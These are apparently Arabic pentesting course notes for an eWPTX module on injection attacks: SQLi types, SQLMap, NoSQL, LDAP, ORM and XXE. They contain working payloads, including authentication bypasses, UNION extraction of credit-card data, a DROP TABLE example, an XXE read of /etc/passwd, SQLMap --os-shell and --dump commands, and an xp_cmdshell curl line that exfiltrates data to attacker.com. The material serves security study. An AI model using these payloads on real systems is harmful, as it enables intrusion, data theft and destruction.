01مقدمة في هجمات الحقن

تعريف هجمات الحقن (Injection Attacks)

بتحدث لما التطبيق يعالج مدخلات غير موثوقة بشكل غير صحيح، وده بيسمح للمهاجم يحقن كود أو أوامر خبيثة في مسار تنفيذ التطبيق — الاستغلال بيتلاعب في طريقة تفاعل التطبيق مع الأنظمة الأساسية زي قواعد البيانات أو أنظمة الملفات أو نظام التشغيل.

1استغلال التحقق من المدخلات — استهداف بيانات غير مُنقَّاة أو غير مُتحقَّق منها
2التلاعب في الاستعلامات أو الأوامر — الحمولة المحقونة بتغيّر منطق الاستعلام المرسَل للنظام الخلفي
3نطاق واسع من الأهداف — قواعد بيانات (SQL)، خدمات دليل (LDAP)، محلّلات XML، قواعد NoSQL، وحتى أنظمة التشغيل

أنواع ثغرات الحقن

النوعالآليةالتأثير
SQL Injectionاستغلال عيوب بناء استعلامات قاعدة البياناتسرقة بيانات، وصول غير مصرَّح، تلاعب بالبيانات
NoSQL Injectionحقن استعلامات خبيثة عبر مدخلات غير مُتحقَّق منها لقواعد زي MongoDBوصول غير مصرَّح، حذف أو تلاعب بالبيانات
LDAP Injectionالتلاعب في استعلامات LDAP لتجاوز المصادقة أو استرجاع بيانات دليلوصول لبيانات دليل حساسة، اختراق النظام
ORM Injectionاستغلال أطر ORM بحقن استعلامات خبيثة في الكودوصول غير مصرَّح، فساد أو كشف البيانات
XXE Injectionحقن كيانات XML خبيثة لاستغلال محلّلات XMLكشف ملفات، SSRF، أو حرمان من الخدمة

انتشار وأثر هجمات الحقن

من أعلى الثغرات ترتيبًا في OWASP Top 10 لسنوات متتالية (المرتبة #1 في 2017 والمرتبة #3 في 2021). بتؤثّر على تطبيقات عبر كل الصناعات — تجارة إلكترونية، مالية، رعاية صحية، وأكتر — وبتظهر بكثرة في RESTful وSOAP APIs. أدوات آلية زي SQLMap بتسهّل اكتشاف واستغلال ثغرات الحقن على نطاق واسع.

أمثلة واقعية

TalkTalk (2015): SQL Injection أدّى لتسريب بيانات 157 ألف عميل. Equifax (2017): ثغرات من ضمنها SQL Injection ساهمت في اختراق كشف 147 مليون سجل.


02مقدمة في SQL Injection

ثغرة حقن بتحدث لما المهاجم يحقن تعليمات SQL خبيثة في حقول إدخال التطبيق — بسبب عدم تحقّق التطبيق من المدخلات بشكل صحيح، مما يسمح بحقن كود/استعلامات SQL تتلاعب في قاعدة البيانات أو تمنح وصول لمعلومات حساسة.

تاريخ موجز

المصطلح صكّه Jeff Forristal ("Rain Forest Puppy") في ورقة بحثية بمؤتمر DefCon 8 سنة 2000. أبرز الحوادث: اختراق شبكة وزارة الطاقة الأمريكية (1998)، سرقة بيانات بطاقات ائتمان من CD Universe (2000 — أول هجوم موثَّق علنًا)، اختراق قاعدة بيانات الأمم المتحدة (2002)، تسريب 6.5 مليون كلمة مرور من LinkedIn (2012)، وتسريب بيانات Ashley Madison (2015).

تأثير SQL Injection (CIA Triad)

C
السرّية (Confidentiality)
قواعد بيانات SQL غالبًا بتحتفظ ببيانات حساسة — فقدان السرّية مشكلة متكرّرة جدًا.
I
السلامة (Integrity)
زي ما ممكن تقرأ معلومات حساسة، ممكن كمان تعدّلها أو تحذفها بهجوم SQLi.
A
المصادقة (Authentication)
لو أوامر SQL ضعيفة بتتحقق من اسم المستخدم وكلمة المرور، ممكن تتصل كمستخدم تاني بدون معرفة كلمة المرور.
D
التوافر (Availability)
هجمات SQLi ممكن تأثّر على توافر التطبيق وقاعدة البيانات وتسقط الموقع بفقدان/تلف البيانات.

03أنواع ثغرات SQL Injection

SQL InjectionIn-Band SQLiError / UnionBlind SQLiBoolean / TimeOut-of-Band SQLiDNS / HTTP
التصنيف الثلاثي الرئيسي لـ SQL Injection حسب قناة استخراج النتائج

In-Band SQL Injection

النوع الأكثر شيوعًا — المهاجم بيستخدم نفس قناة الاتصال لإرسال الهجوم واستلام النتائج. خطير جدًا لأنه ممكن يُستخدَم لسرقة بيانات حساسة أو تعديل/حذف البيانات أو الاستيلاء الكامل على التطبيق أو السيرفر. ينقسم إلى:

Blind SQL Injection

التطبيق مش بيُرجع معلومات أو رسائل خطأ مفيدة مباشرة في الاستجابة. المهاجم بيستنتج معلومات عن قاعدة البيانات عبر تقنيات غير مباشرة. ينقسم إلى:

Out-of-Band SQL Injection

الأقل شيوعًا — المهاجم بيستخرج بيانات من قاعدة البيانات عبر قناة مختلفة تمامًا عن التطبيق نفسه، بدون الحاجة لاستلام أي استجابة مباشرة من التطبيق. يُستخدَم عبر إرسال طلبات HTTP لسيرفر يتحكّم فيه المهاجم أو عبر استعلامات DNS لاستخراج البيانات.


04البحث عن ثغرات SQL Injection

الحقول القابلة للحقن الشائعة

1نماذج تسجيل الدخول (اسم المستخدم وكلمة المرور)
2مربعات البحث
3معاملات الرابط (URL Parameters)
4حقول النماذج (تسجيل، تواصل، تعليقات)
5الحقول المخفية (Hidden Fields)
6الكوكيز اللي فيها بيانات مستخدم أو جلسة

الحقن حسب نوع البيانات (Integer vs String)

النوعمثال الاستعلامPayloads اختبارية
Integer-BasedSELECT * FROM Users WHERE id = FUZZAND 1 (صح) / AND 0 (خطأ) / 1*56 (يرجّع 56 لو عرضة للحقن)
String-BasedSELECT * FROM Users WHERE name = 'FUZZ'' (خطأ) / '' (صح) — علامة الاقتباس المفردة لإنهاء السلسلة النصية
قاعدة أساسية

اختبر حقنة واحدة في كل مرة — لو جرّبت أكتر من واحدة مع بعض، مش هتقدر تحدّد أي Payload هو اللي نجح فعليًا.

استغلال علامة الاقتباس المفردة (')

classic authentication bypass
# الاستعلام الأصلي:
SELECT * FROM users WHERE username = '<username>' AND password = '<password>'

# الحمولة المحقونة في username:
' OR '1'='1'; --

# الاستعلام بعد الحقن:
SELECT * FROM users WHERE username = '' OR '1'='1'; -- ' AND password = '<password>'
# الشرط '1'='1' دايمًا صح → تجاوز المصادقة

بصمة قاعدة البيانات (Database Fingerprinting)

كل DBMS بيستجيب لاستعلامات خاطئة برسائل خطأ مختلفة — مثلًا MS-SQL بترجّع Incorrect syntax near [query]، بينما MySQL بترجّع You have an error in your SQL syntax.... الفرق ده بيساعد في تحديد نوع قاعدة البيانات المستهدَفة.


05استغلال Error-Based SQL Injection

تقنية بتعتمد على التسبّب المتعمَّد في أخطاء قاعدة بيانات واستخدام رسائل الخطأ المُرجَعة لاستخراج معلومات أو الحصول على وصول غير مصرَّح به.

1
تحديد معامل عرضة للحقن

إيجاد معامل في التطبيق عرضة للحقن — عبر حقول إدخال، معاملات رابط، أو حقول نموذج.

2
حقن كود SQL خبيث

صياغة Payload يحتوي عبارات SQL مصمَّمة لإثارة خطأ قاعدة بيانات — إضافة بناء جملة غير صالح أو التلاعب في استعلام موجود.

3
ملاحظة رسائل الخطأ

إرسال الـ Payload وملاحظة رسالة الخطأ المُرجَعة من قاعدة البيانات — توفّر معلومات قيّمة عن بنية ومحتوى قاعدة البيانات.

4
استخراج البيانات

تعديل الـ Payload لاستخراج معلومات محدَّدة من قاعدة البيانات بالاستفادة من رسائل الخطأ — أسماء مستخدمين، كلمات مرور، أو بيانات حساسة أخرى.

5
استغلال الثغرة

استغلال المعلومات المُجمَّعة عبر Error-Based SQLi لتوسيع الاستغلال أو الحصول على وصول غير مصرَّح به.


06استغلال Union-Based SQL Injection

يستغل القدرة على استخدام عامل UNION في استعلامات SQL — يحدث لما التطبيق يفشل في التحقّق أو تنقية مدخلات المستخدم، ويسمح بحقن كود SQL خبيث في الاستعلام. يتطلّب تطابق عدد الأعمدة وأنواع بياناتها بين جمل SELECT المدموجة.

union-based extraction example
# الاستعلام الأصلي:
SELECT id, name FROM users WHERE id = '<user_input>'

# الحمولة المحقونة:
' UNION SELECT credit_card_number, 'hack' FROM credit_cards --

# الاستعلام بعد الحقن:
SELECT id, name FROM users WHERE id = '' UNION SELECT credit_card_number, 'hack' FROM credit_cards --
# النتيجة هتشمل أرقام بطاقات ائتمان بجانب بيانات المستخدم الأصلية

منهجية الاستغلال

  1. تحديد مدخلات المستخدم المستخدَمة في استعلامات قاعدة البيانات
  2. اختبار المدخلات بحقن Payload بسيط (علامة اقتباس) وملاحظة الأخطاء أو السلوك غير المتوقَّع
  3. تحديد نقاط حقن عرضة — تجربة UNION SELECT أو شروط منطقية ومراقبة الفرق
  4. تأكيد الثغرة بحقن UNION SELECT كامل — لو الاستجابة فيها أعمدة أو بيانات إضافية، الثغرة مؤكَّدة
  5. تعداد قاعدة البيانات — حقن UNION SELECT بأسماء أعمدة وجداول مناسبة لاستخراج بنية قاعدة البيانات، باستخدام ORDER BY أو LIMIT لتضييق النتائج

07استغلال Blind SQLi (Boolean & Time-Based)

Time-Based SQL Injection

تقنية بتعتمد على التلاعب في استعلامات SQL لإدخال تأخيرات — المهاجم بيستنتج معلومات عن قاعدة البيانات بقياس التأخير في استجابة التطبيق.

time-based delay injection
# الاستعلام الأصلي:
SELECT * FROM users WHERE username = '[username]' AND password = '[password]';

# الحمولة في حقل username:
' OR SLEEP(5) -- '

# الاستعلام بعد الحقن:
SELECT * FROM users WHERE username = '' OR SLEEP(5) -- ' AND password = '[password]';
# لو السيرفر استغرق 5 ثوانٍ إضافية في الاستجابة → نقطة الحقن عرضة لـ Time-Based SQLi

Boolean-Based Blind SQL Injection

المهاجم بيستغل استجابة التطبيق لشروط منطقية لاستنتاج معلومات عن قاعدة البيانات — بيبعت استعلام SQL خبيث ويقيّم الاستجابة حسب نجاح أو فشل تنفيذ الاستعلام. بسؤال سلسلة من الأسئلة صح/خطأ وتحليل الاستجابات، المهاجم يقدر يبني تدريجيًا صورة كاملة عن بنية ومحتوى قاعدة البيانات.

أمثلة Payloads شائعة

' AND 1=1 -- (شرط صحيح) مقابل ' AND 1=2 -- (شرط خاطئ) — الفرق في استجابة التطبيق (محتوى، حالة HTTP، أو حتى وقت التحميل) هو مؤشر الثغرة.


08منهجية اختبار SQL Injection الكاملة

1
اكتشاف نقطة الدخول

تحديد كل حقول إدخال المستخدم اللي بتتفاعل مع قاعدة البيانات، وفهم منطق التطبيق للتنبؤ ببنية استعلامات SQL المحتملة.

2
تحديد نوع DBMS

استخدام كلمات مفتاحية SQL خاصة بأنظمة إدارة قواعد بيانات معيَّنة ومراقبة استجابة الموقع لتحديد نوع DBMS المستخدَم.

3
اختبار أولي

اختبار Payloads أساسية زي ' OR '1'='1 و' AND '1'='2 ومراقبة الأخطاء أو المخرجات غير المتوقَّعة.

4
اختبار قائم على الأخطاء

حقن Payloads تتسبّب عمدًا في أخطاء بناء جملة SQL والبحث عن رسائل خطأ تكشف نوع أو بنية قاعدة البيانات.

5
اختبار Blind SQLi

استخدام Payloads منطقية (' AND 1=1 -- / ' AND 1=2 --) وPayloads زمنية (' OR IF(1=1, SLEEP(5), 0) --) لاختبار الاستجابة بدون مخرجات مباشرة.

6
اختبار Union-Based

تحديد عدد الأعمدة بزيادة قيم NULL تدريجيًا (UNION SELECT NULL --)، ثم اختبار استخراج البيانات (UNION SELECT username, password FROM users --).

7
اختبار متقدّم

اختبار OOB SQLi عبر استدعاءات DNS أو HTTP (مثل Burp Collaborator)، والبحث عن ثغرات من الدرجة الثانية (Second-Order) تُنفَّذ في استعلامات لاحقة.

8
اختبار آلي

استخدام أدوات زي SQLMap أو Burp Suite أو OWASP ZAP لإجراء فحوصات آلية، مع تأكيد يدوي لتجنّب False Positives.

9
التحقق والاستغلال

التحقق من قابلية استغلال الثغرة فعليًا عبر استخراج بيانات أو تنفيذ إجراءات غير مصرَّح بها، وتوثيق التأثير والتوصيات.


09أساسيات SQLMap

أداة مفتوحة المصدر بتؤتمت عملية اكتشاف واستغلال ثغرات SQL Injection في تطبيقات الويب — بتدعم قواعد بيانات علائقية (MySQL، PostgreSQL، MSSQL، Oracle، SQLite، MariaDB) ودعم تجريبي لقواعد NoSQL (MongoDB، CouchDB).

نصيحة احترافية حاسمة

دايمًا اختبر الحقن يدويًا أولًا، وبعدين وسّع اختبارك بـ SQLMap. لو شغّلت SQLMap تلقائيًا بالكامل من غير فهم مسبق، ممكن يختار استراتيجية استغلال غير فعّالة أو حتى يسقّط الخدمة البعيدة. ابدأ دايمًا بتحديد الثغرة يدويًا، وتحقّق من وجودها ونوعها بـ SQLMap بعدين — هيديك معلومات أدق عن الثغرة بالطريقة دي.

سير عمل SQLMap الأساسي

1
تحديد نقاط الحقن

sqlmap -u "http://example.com/login.php?id=1" — SQLMap بيبعت Payloads اختبارية زي ' OR '1'='1 ويحلّل الاستجابة.

2
بصمة قاعدة البيانات

--fingerprint — بيحدّد نوع DBMS المستخدَم لتكييف أساليب الهجوم.

3
حقن Payloads للتأكيد

يختبر أنواع مختلفة (Error-based، Time-based، Boolean-based، UNION-based).

4
استخراج البيانات

بيجيب بنية قاعدة البيانات والجداول والبيانات لو الحقن مؤكَّد.

5
استغلال متقدّم

--os-shell — SQLMap يقدر يصعّد الهجوم للحصول على وصول على مستوى نظام التشغيل أو تنفيذ أوامر.

sqlmap — basic syntax
sqlmap -u <URL> -p <Injection Parameter> [options]

# استهداف POST مع بيانات نموذج:
sqlmap -u "http://example.com/login.php" --data="username=admin&password=123"

# استخدام كوكي جلسة للمصادقة:
sqlmap -u "http://example.com/product.php?id=1" --cookie="PHPSESSID=abc123"

10SQLMap — التعداد والاستخدام المتقدم

تعداد قاعدة البيانات

sqlmap — database enumeration
sqlmap -u <target> --banner           # بصمة/اسم قاعدة البيانات
sqlmap -u <target> --users            # تعداد مستخدمي DBMS
sqlmap -u <target> --is-dba           # هل المستخدم الحالي DBA؟
sqlmap -u <target> --dbs              # سرد قواعد البيانات
sqlmap -u <target> -D users_db --tables           # سرد الجداول
sqlmap -u <target> -D users_db -T user_credentials --columns  # سرد الأعمدة
sqlmap -u <target> -D users_db -T user_credentials --dump     # استخراج البيانات

تحديد تقنية الحقن (--technique)

الرمزالتقنيةالوصف
BBoolean-Based Blindتقييم شروط صح/خطأ لاستنتاج المعلومات
EError-Basedاستخدام رسائل خطأ قاعدة البيانات لاستخراج المعلومات
UUNION-Basedاستغلال عامل UNION لاستخراج البيانات
SStacked Queriesتنفيذ عدة جمل SQL في استعلام واحد (لو مدعوم)
TTime-Based Blindقياس تأخيرات الاستجابة لاستنتاج شروط صح/خطأ
QInline Queriesاستخدام استعلامات فرعية للاستخراج (أقل شيوعًا)

خيارات --level و --risk

تحذير احترافي

تشغيل SQLMap بـ level وrisk عاليين وتركه يختبر تلقائيًا بدون فهم مسبق للتطبيق ده سلوك غير احترافي وممكن يسبّب مشاكل فعلية لبنية العميل التحتية. ادرس التطبيق بعناية قبل استخدام --risk العالي.

intercepted request + options summary
# استخدام طلب مُعترَض من Burp:
sqlmap -r <request_file> -p parameter [options]

# أهم الخيارات:
--fingerprint        تحديد نوع وإصدار DBMS
--tamper=<script>    تطبيق سكريبتات Tamper لتجاوز WAF
--os-shell           فتح شل نظام تشغيل لو ممكن
--file-read=<path>   قراءة ملفات من سيرفر الهدف
--batch              تشغيل بدون تفاعل (بدون أسئلة)

11حقن SQL خارج النطاق (OOB SQLi)

نوع من SQLi المهاجم فيه مش بيعتمد على استجابة مباشرة (In-Band) من التطبيق — بدل كده، بيخلّي قاعدة البيانات تتواصل مع سيرفر خارجي يتحكّم فيه، عبر قنوات زي DNS أو HTTP، لتسريب بيانات أو تأكيد الثغرة. مفيد جدًا لما التطبيق مش بيعرض رسائل خطأ، أو الاستجابات مش قابلة للملاحظة، أو قاعدة البيانات الهدف قادرة على إرسال طلبات صادرة.

كيف يعمل

  1. تحديد نقطة إدخال عرضة للحقن
  2. صياغة Payload خبيث يجبر قاعدة البيانات على إرسال طلب DNS أو HTTP خارجي
  3. إعداد سيرفر خارجي (DNS أو HTTP) لمراقبة والتقاط الطلبات الصادرة
  4. عند معالجة قاعدة البيانات للـ Payload، بتبعت طلب لسيرفر المهاجم — مسرّبة بيانات أو مؤكّدة الثغرة
DNS-Based
تسريب عبر استعلامات DNS
إجبار قاعدة البيانات على حلّ اسم نطاق، وإرسال استعلام DNS لسيرفر مُتحكَّم فيه (مثال DBMS: MySQL LOAD_FILE، MSSQL OPENROWSET، Oracle UTL_HTTP). ميزة: استدعاءات DNS خفيفة، تعمل عبر الجدران النارية، وأصعب في الكشف.
HTTP-Based
تسريب عبر طلبات HTTP
إجبار قاعدة البيانات على إرسال طلب HTTP لسيرفر المهاجم (مثال DBMS: MSSQL xp_cmdshell، PostgreSQL COPY، MySQL LOAD_FILE).
dns-based oob sqli payload
# المعامل الهدف:
http://example.com/product.php?id=1

# الحمولة (MySQL LOAD_FILE):
1' UNION SELECT LOAD_FILE('\\\\attacker.dnslog.cn\\file') --

# مراقبة سجلات DNS Server (مثل dnslog.cn):
Query: attacker.dnslog.cn   ← تأكيد الثغرة
http-based oob sqli payload
# الحمولة (MSSQL xp_cmdshell):
'; EXEC xp_cmdshell 'curl http://attacker.com?data=(SELECT@@version)' --

# ما يصل لسيرفر المهاجم (مثلًا Burp Collaborator أو Ngrok):
GET /?data=Microsoft SQL Server 2019

12حقن SQL من الدرجة الثانية (Second-Order)

الفرق عن First-Order SQLi

في SQLi التقليدي (First-Order)، المهاجم بيبعت مدخل خبيث مباشرة، والتطبيق بيعالجه ويرجّع استجابة فورية قابلة للاستغلال — التفاعل زي نظام "تحدي-استجابة" فوري. Second-Order SQLi مختلف: الـ Payload مش بيتنفّذ فورًا عند الحقن الأولي — بدل كده بيتخزّن في قاعدة البيانات وبيتنفّذ لاحقًا لما استعلام أو وظيفة تانية في التطبيق تعالجه.

السيناريو الأخطر

بيستغل الحالات اللي فيها مدخلات المستخدم بتتنظّف أثناء الاستعلام الأولي، لكن بتُستخدَم لاحقًا بدون تنظيف في عملية قاعدة بيانات تانية — المطوّرون غالبًا ما بيتوقعوش إن بيانات مخزَّنة ومُنظَّفة سابقًا ممكن تكون خطيرة.

1
مرحلة الحقن

المهاجم بيحدّد حقل إدخال عرضة ويخزّن Payload خبيث من غير ما يتنفّذ فورًا.

2
مرحلة التفعيل

لاحقًا، التطبيق بيسترجع البيانات المخزَّنة ويستخدمها في استعلام تاني بدون تنظيف مناسب — الحمولة الخبيثة بتتنفّذ في العملية الثانوية دي.

3
التأثير

تسريب بيانات، تصعيد صلاحيات، أو اختراق كامل للنظام، حسب الغرض من الاستعلام الثاني.

second-order sqli example — stored username triggers query later
# مرحلة 1 — التسجيل بـ username خبيث (يُخزَّن كنص بعد تنظيفه ظاهريًا):
'); DROP TABLE users; --

# مرحلة 2 — لما الأدمن يعرض بيانات المستخدم لاحقًا، التطبيق بيبني استعلام:
SELECT * FROM users WHERE username = ''); DROP TABLE users; --';

# الحمولة بتتنفّذ الآن → جدول users يُحذَف بالكامل

13أساسيات NoSQL وحقنها

مقدمة في قواعد بيانات NoSQL

نهج غير علائقي لتخزين واسترجاع البيانات — أكثر مرونة من قواعد البيانات العلائقية التقليدية، بيتعامل مع بيانات غير مهيكلة وشبه مهيكلة وسريعة التطوّر. ظهرت لتلبية الحاجة لقابلية التوسّع والأداء والمرونة.

الميزةSQLNoSQL
النوععلائقيغير علائقي
نموذج التخزينجداول بصفوف وأعمدة ثابتةغير مهيكل — JSON، أزواج مفتاح-قيمة
Schemaثابت/صارمديناميكي/مرن
قابلية التوسّعرأسية (Vertical)أفقية (Horizontal)
اللغةSQL المهيكلةلغات استعلام غير مهيكلة خاصة بكل قاعدة

حقن NoSQL (مثال MongoDB)

بيحدث لما المهاجم يتلاعب في استعلام قاعدة بيانات NoSQL عبر حقن مدخلات خبيثة — بيستغل ضعف معالجة التطبيق لمدخلات المستخدم المرسَلة إليه.

mongodb nosql injection — auth bypass
// الاستعلام العادي:
var query = { username: username, password: password };
var result = db.users.findOne(query);

// حمولة المهاجم في حقل username:
username: { $gt: "" }

// $gt (أكبر من) بقيمة فارغة بيتلاعب في منطق الاستعلام
// وبيرجّع أول سجل مستخدم في قاعدة البيانات — تجاوز تسجيل الدخول
Payloadالاستخدام
username[$ne]=1&password[$ne]=1لا يساوي (تجاوز مصادقة)
username[$regex]=^adm&password[$ne]=1فحص تعبير نمطي (تجاوز مصادقة)
username[$regex]=.{25}&pass[$ne]=1تحديد طول قيمة معيّنة
username[$eq]=admin&password[$ne]=1يساوي
username[$ne]=admin&pass[$gt]=sأكبر من

14مقدمة في LDAP وحقنه

ما هو LDAP؟

Lightweight Directory Access Protocol — بروتوكول لتعديل والاستعلام عن خدمات الدليل عبر TCP/IP. خدمة الدليل نظام شبيه بقاعدة بيانات متخصّصة بتخزّن وتنظّم البيانات في بنية هرمية — شائعة في بيئات المؤسسات لإدارة حسابات المستخدمين والمجموعات والصلاحيات.

المنفذالبروتوكولالوصف
389LDAPالمنفذ الافتراضي للاتصال النصي الصريح
636LDAPSالمنفذ الافتراضي للاتصال الآمن (SSL/TLS)
3268Global Catalogكتالوج شامل عبر LDAP نصي
3269Global Catalog LDAPSكتالوج شامل عبر LDAP آمن

بنية دليل LDAP

مُنظَّمة كشجرة هرمية (Directory Information Tree / DIT) — كل إدخال بيمثّل كائن واحد (مستخدم، مجموعة، مورد)، معرَّف بـ Distinguished Name (DN) فريد زي cn=John Doe,ou=Users,dc=example,dc=com، وموصوف بخصائص (Attributes) زي cn وmail.

صيغة LDAP (Syntax)

بتستخدم معاملات: = (يساوي)، | (أو منطقي)، ! (ليس منطقي)، & (و منطقي)، * (Wildcard). مثال: (cn=J*) بيجيب كل الإدخالات اللي الاسم فيها يبدأ بـ J.

حقن LDAP

بيحدث لما مدخلات المستخدم تُدمَج في استعلام LDAP بدون تنقية أو تحقّق مناسب — ده بيسمح للمهاجم يتلاعب في بنية الاستعلام، مما يؤدي لوصول غير مصرَّح أو تجاوز المصادقة أو استخراج معلومات دليل حساسة.

ldap injection — authentication bypass
# الاستعلام الأصلي:
(&(uid={username})(password={password}))

# حقن المهاجم في username:
*)(uid=*)

# الاستعلام الناتج:
(&(uid=*)(uid=*)(password={password}))
# *) بتقفل الفلتر الأصلي مبكرًا وبتضيف شرط Wildcard جديد
# → مطابقة كل المستخدمين → تجاوز المصادقة

15مقدمة في ORM وحقنه

ما هو ORM؟

Object-Relational Mapping — تقنية برمجية بتربط الأوبجكتس في التطبيق بجداول قاعدة البيانات، بتجرّد عمليات قاعدة البيانات وبتخلّي المطوّرين يتفاعلوا مع قاعدة البيانات بمفاهيم البرمجة الكائنية بدل كتابة SQL خام. أمثلة شائعة: SQLAlchemy (Python)، Hibernate (Java)، Entity Framework (.NET)، Django ORM، Eloquent (PHP).

ليه نستخدم ORM

حقن ORM

نوع من الحقن يستهدف تطبيقات بتستخدم إطار ORM — بيحدث لما مدخلات مستخدم غير موثوقة تُمرَّر بدون تنقية مناسبة لدوال استعلام ORM، مما يسمح للمهاجم يتلاعب في استعلام SQL المُولَّد من ORM في الخلفية.

أسباب شائعة

بناء استعلامات ديناميكية بدمج سلاسل نصية مع مدخلات المستخدم (بدل استخدام API الـ ORM الآمن)، استخدام SQL خام داخل ORM بدون تنقية، وسوء استخدام المطوّرين لميزات بناء الاستعلامات اللي بتتخطّى حماية الـ ORM الافتراضية.

orm injection — vulnerable dynamic query
# كود عرضة (بناء استعلام ديناميكي بدمج نصوص):
user = User.query.filter(f"username = '{username}' AND password = '{password}'").all()

# حمولة المهاجم:
# username: admin' OR '1'='1
# password: (أي قيمة)

# الاستعلام الناتج:
SELECT * FROM users WHERE username = 'admin' OR '1'='1' AND password = 'anything';
# الشرط OR '1'='1' دايمًا صح → تجاوز مصادقة وتسجيل دخول كأول مستخدم في القاعدة

16مقدمة في XML وحقنه

ما هو XML؟

eXtensible Markup Language — لغة ترميز لتخزين ونقل البيانات بصيغة قابلة للقراءة ومستقلة عن المنصّة. لسه حي ومنتشر رغم ظهور بدائل زي YAML وJSON، وله استخدامات عملية واسعة (PDF، RSS، OOXML، SVG، وبروتوكولات زي SOAP وWebDAV).

بنية XML وDTD

مستندات XML بتُنظَّم كشجرة هرمية تبدأ من عنصر جذر واحد. DTD (Document Type Definition) بيحدّد بنية وعناصر وخصائص المستند — مستند XML بصياغة صحيحة يُسمى "Well Formed"، ولو اتحقّق مقابل DTD يُسمى "Valid" كمان.

XML Injection

ثغرة بتحدث لما المهاجم يتلاعب في مدخلات المستخدم لحقن بيانات XML خبيثة في مستند أو استعلام XML — ممكن تؤدّي لوصول غير مصرَّح، تسريب بيانات، أو تلاعب في سلوك التطبيق.

النوعالوصفالتأثير
XML Data Manipulationتعديل بيانات XML للتلاعب في سلوك التطبيقتلاعب بالبيانات، تجاوز مصادقة
XML Tag Injectionحقن تاغات XML جديدة أو معدَّلةتصعيد صلاحيات، مشاكل تحليل XML
XPath Injectionحقن تعبيرات XPath خبيثةوصول غير مصرَّح، تجاوز مصادقة
XXEاستغلال الكيانات الخارجية في معالجة XMLكشف ملفات، SSRF، DoS
Billion Laughs Attackكيانات متكرّرة بتستنزف المواردحرمان من الخدمة (DoS)

XML Tag Injection — مثال

xml tag injection example
<user>
  <username>admin</username>
  <role><admin/></role>
</user>
<!-- حقن تاغ <admin/> ممكن يخدع التطبيق ويمنح المهاجم صلاحيات إدارية -->
اختبار حقن XML

حقن Metacharacters زي ' " < > & واختبار علامات الاقتباس المفردة/المزدوجة والـ Ampersand (&EntityName;) والأقواس الزاوية لرصد أخطاء التحليل والتأكد من وجود الثغرة.


17XML External Entity (XXE)

أخطر نوع من هجمات XML Injection — بيحدث لما محلّل XML يعالج كيانات خارجية (External Entities) مُشار إليها في مستند XML، مما يسمح بـ: كشف بيانات (قراءة ملفات حساسة على السيرفر)، حرمان من الخدمة (إثقال السيرفر بحمولات خبيثة)، وSSRF (الوصول لموارد داخلية أو خارجية).

الكيانات الخاصة مقابل العامة

الكيانات الخاصة (Private) محصورة بمؤلف أو مجموعة مؤلفين، والكيانات العامة (Public) مصمَّمة لاستخدام أوسع. الكيانات الخاصة هي الأخطر لأنها بتسمح بكشف ملفات النظام المحلي والتلاعب في مخططات الشبكة والتطبيقات الداخلية.

استغلال XXE — تضمين الموارد (Resource Inclusion)

1
تعريف كيان خارجي خبيث

المهاجم بيصنع ملف XML خبيث فيه تعريف كيان خارجي بيشاور لملف محلي.

2
الإشارة للكيان في جسم الطلب

وضع مرجع للكيان المُعرَّف جوه جسم طلب XML.

3
تنفيذ وإقناع التطبيق بإرجاع النتيجة

بعد إرسال الطلب وإجبار المحلّل على جلب المحتوى الخبيث، لازم نقنع التطبيق يعرض المعلومات المُرسَلة مرة تانية — مثلًا لما المستلم يقرأ الرسالة، هيشوف محتوى الملف المحلي كمان.

xxe — local file disclosure
<!DOCTYPE message [
  <!ENTITY xxefile SYSTEM "file:///etc/passwd">
]>
<message>
  <body>&xxefile;</body>
</message>

<!-- عند معالجة الرسالة، المستلم هيشوف محتوى /etc/passwd جوه جسم الرسالة -->

--خريطة قرار اختيار نوع الحقن

تحديد نقطة الإدخالFuzzing أساسيتحديد التقنية الخلفيةSQL/NoSQL/LDAP/XMLاختيار Payload مناسبحسب النوع المكتشَفيدوي ثم آليتأكيد ثم SQLMapاستغلال وتوثيقتأثير حقيقي
المسار المنطقي للانتقال من اكتشاف نقطة إدخال عرضة وحتى استغلال موثَّق

--Cheat Sheet مرجعي

Payloads SQLi شائعة

common sqli payloads
' OR '1'='1
' OR 1=1 --
" OR 1=1 --
' OR 'x'='x
admin' --
admin' #
' having 1=1 --
' AND id IS NULL; --
' OR '1'='1' /* -- MySQL
' OR '1'='1' %00

أوامر SQLMap الأساسية

quick reference
sqlmap -u "" --dbs
sqlmap -u "" -D  --tables
sqlmap -u "" -D  -T  --dump
sqlmap -u "" --technique=B
sqlmap -u "" --level=3 --risk=2
sqlmap -u "" --os-shell

موارد مرجعية

Quick Wins — أسرع المسارات في اختبار الحقن

#التحققالأداة/الطريقةالنوع المحتمَل
1رسالة خطأ DBMS ظاهرة عند حقن علامة اقتباس؟فحص يدويError-Based SQLi
2عدد الأعمدة يتطابق عبر ORDER BY؟UNION SELECT NULL تدريجيUnion-Based SQLi
3تأخير ملحوظ عند SLEEP()؟مقارنة وقت الاستجابةTime-Based Blind SQLi
4مفيش استجابة ملحوظة أبدًا؟Burp Collaborator / dnslog.cnOOB SQLi
5بيانات مخزَّنة بتُستخدَم لاحقًا في استعلام تاني؟تتبّع تدفّق البياناتSecond-Order SQLi

الخلاصة العامة للموديول

الموديول ده غطّى أخطر فئة ثغرات الويب بعمق — من أساسيات SQL Injection وأتمتتها بـ SQLMap، مرورًا بتقنيات OOB وSecond-Order المتقدّمة، ووصولًا لـ NoSQL وLDAP وORM وXXE.

$ cat ./ewptx_module03_summary.txt

الفكرة الجوهرية للموديول: هجمات الحقن كلها، بغضّ النظر عن التقنية الخلفية، مبنية على نفس المبدأ — ثقة زائدة في مدخلات المستخدم بدون تحقّق أو تنقية كافية. المختبر المحترف بيفكّر في كل حقل إدخال كبوابة محتملة لنظام خلفي، مهما كانت الطبقة اللي بتفصلهم (ORM، API، أو أي تجريد آخر).

Professional Mindset

قبل ما تفتح SQLMap، افهم التطبيق يدويًا أولًا — نوع قاعدة البيانات، طبيعة المدخلات، وهل فيه طبقة ORM أو WAF بينك وبين الاستعلام الفعلي. اختبر حقنة واحدة في كل مرة، ووثّق كل Payload جرّبته والنتيجة المقابلة له — ده اللي هيفرّق بين تقرير احترافي قابل لإعادة الإنتاج وتقرير مبهم.


نهاية نوتس الموديول الثالث — Advanced Injection Attacks (eWPTXv3)